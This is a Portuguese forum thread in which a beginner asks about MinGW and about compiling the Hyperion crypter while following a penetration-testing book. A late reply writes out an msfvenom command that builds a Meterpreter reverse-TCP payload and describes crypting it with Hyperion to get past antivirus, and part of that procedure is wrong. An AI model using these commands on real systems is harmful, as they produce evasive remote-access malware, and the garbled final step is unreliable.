O que é mingw?

Olá,

Eu tenho algumas dúvidas…cansei de apanhar…

Pra que serve exatamente um programa “cross-plataform”?

Esse programa “mingw64” ou “mingw32” (https://www.mingw-w64.org) é pra rodar no “Windows”, no “Linux”, ou nos “dois” ?

Esses pacotes para o “Debian” servem pra que? Não consgo compilar nada no linux:

Obrigado por qualquer ajuda!

Como o nome diz, pra rodar em mais de uma plataforma, reusando o máximo possível de código e mantendo versões específicas somente das partes necessárias. Isso economiza tempo e recursos de desenvolvimento.

Normalmente, se dá preferência para pacotes estáveis (stable). Você precisa baixar o pacote referente ao sistema em que vai rodar o mingw. Se está no Windows, precisa dos pacotes pra Windows. Se está no Linux, precisa dos pacotes pra Linux.

Está em um Linux tentando compilar programas pra Windows, é isso? Se sim, por quê? Seu objetivo é construir apps executáveis (em C/C++) ? Precisa mesmo que eles sejam multiplataforma?

Abraço.

1 curtida

Muito obrigado pela ajuda.

Estou seguindo um livro que tenho e estou configurando o “ambiente de trabalho” que vou utilizar no decorrer do livro.

Estou tentando instalar o programa “Hyperion” e não estou conseguindo. O autor diz que devo fazer o seguinte comando, na versão que ele usa:

i586-mingw32msvc-c++ Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe

A versão que utilizo é a mais recente. Mas não estou conseguindo compilar. O diretório está assim:

image

Aqui diz que o gcc está instalado e é a versão mais nova:

image

Aqui uma tentativa de fazer funcionar:

image

Está meio complexo e não funciona ainda…hehehe!

Obrigado!

É esse o tutorial/livro que está seguindo: Building Your Penetration Testing Lab Pt. 2 – Learn From a Hacker ? Alguns dos comandos são idênticos.

Linux não é minha especialidade (muito menos Kali), e não tenho como testar imediatamente. Mas o que eu faria, antes de tentar compilar o Hyperion, é verificar se o o gcc está funcionando, simplesmente rodando o comando g++ (ou g++ version, pra exibir a versão). Se vai rodar no Linux, pode também tentar instalar a versão 64 bits com o comando:

sudo apt-get install gcc-mingw-w64

(ref: linux - How to install mingw32 on Ubuntu? - Stack Overflow )

Só então, depois de confirmar que o gcc está funcionando, é que eu tentaria compilar o hyperion.

Abraço.

1 curtida

Amigo, obrigado pela ajuda.

O livro é este mesmo, porém é a versão em português da editora Novatec:

O gcc esta instalado, note que ele pede arquivos de entrada, então está instalado:

A versão do gcc de 64 bits que você recomendou também esta atualizada:

Ainda não consegui resolver. Se ao menos eu conseguisse rodar no windows eu ficaria feliz, mas nem isso consigo.

Obrigado!

o erro do gcc é por não conseguir “coletar” as informações contida da pasta do Hyperion para a compilação, tente executar esse comando dentro da pasta do Hyperion-2.3.1

i686-w64-mingw32-gcc -I Src/Payloads/Aes/c Src/Crypter/*.c Src/Payloads/Aes/c/*.c -o hyperion.exe 

e depois execute o comando ls pra ver os conteudos da pasta

e se tiver parecido com isso, parabens, deu certo

se tiver como mostrado na imagem, precisamos criar outro arquivo executavel pro softwares de anti-virus para isso temos que digitar o seguinte código


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<seu ipv4 da máquina virtual ou inet> LPORT=433 -f exe > payload.exe

e pra acessa-lá é preciso abrir outro terminal e digital o ifconfig o que se deve saber já mas pra ajudar pra quem não sabe

pra criar o payload.exe que vai server pra criação do outro arquivo executavel

e para o exe novo use

i686-w64-mingw32-gcc hyperion.exe payload.exe > hyp_paylo.exe

use o ls para a confirmação do arquivo

ai se tiver utiliza o hyp_paylo.exe no windows

Espero ter ajudado qualquer coisa mande uma duvida talvez consiga auxiliar

OBS: desculpa ter ficado feio visualmente ;-; o site não permite que utilize mais de uma linha de codigo ou imagem e ainda tem limite por postagem para quem é novo

É claro que permite.

Basta selecionar as linhas que quer formatar e usar o botão </> do editor:

formatarcodigoguj

Também pode usar code fences (o "triplo backtick```) especificando a linguagem. Por exemplo, isso:

```bash
ls -al
gcc teste.c
./a.out
```

É renderizado assim:

ls -al
gcc teste.c
./a.out